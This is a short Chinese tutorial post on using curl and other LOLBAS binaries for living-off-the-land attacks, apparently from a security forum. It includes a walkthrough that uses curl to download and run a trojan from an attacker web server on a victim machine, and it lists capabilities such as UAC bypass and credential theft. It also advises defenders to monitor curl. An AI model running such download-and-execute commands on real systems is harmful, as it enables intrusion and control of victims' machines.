Curl介绍
curl是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具。
curl可以用于处理远程服务器上的文件。
例如,我们可以在目标机器上利用curl下载远程服务器的木马文件并执行。或者我们可以利用curl将受害机器上的文件传输到远程服务器上。
Test
1、python -m SimpleHTTPServer 8080
在kali上开启web服务
2、生成木马并开启msf监听
3、打开cmd
利用命令curl -O http://192.168.234.151:8080/test.exe & start test.exe
将木马文件下载到受害机器并运行。
这里看到木马文件成功下载并上线。
在网络攻防中,针对curl,蓝队应通过规则加大对curl的监控,如果没用特别的需求,可对其按照策略进行阻止。
Why?
那这里为什么要说到curl呢?其实像curl这种系统自带的二进制文件有很多,可以执行很多种系统的命令。例如下载、执行、编译、bypassuac等等,在github上有一个很不错的项目——LOLBAS。在这个项目中,包含了类似curl的二进制文件以及脚本。
该项目旨在“The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.”。大致的意思就是:LOLBAS项目的目标是记录每一个二进制文件、脚本和库,这些都可以用来依靠土地技术生存。
依靠土地技术生存应该更好的理解为,运用系统自带的二进制文件进行渗透测试,以达到降低被安全厂商检测的目的。倘若我们在实际渗透的过程中,使用的都是自己的编写的”十分强大便捷”的工具,那么极有可能会被受害者发现。
被选入LOLBAS项目的文件或脚本必须满足以下三个条件:
- 是Microsoft签名的文件,可以是操作系统本身的文件,也可以是从Microsoft下载的文件。
- 具有额外的”意外”功能。
- 拥有对APT团队以及红队有用的功能。
可以利用LOLBAS做到如下:
- 执行代码
- 编译代码
- 操作文件
- 持久利用
- UAC bypass
- 凭证盗窃
- 转储过程内存
- 网络监视
- 日志逃避/修改
- DLL侧载/劫持,而无需在文件系统中的其他位置进行重定位。
如有错误,还希望各位大佬指点。
关于curl更多的用法:
不错不错,赞一个
哟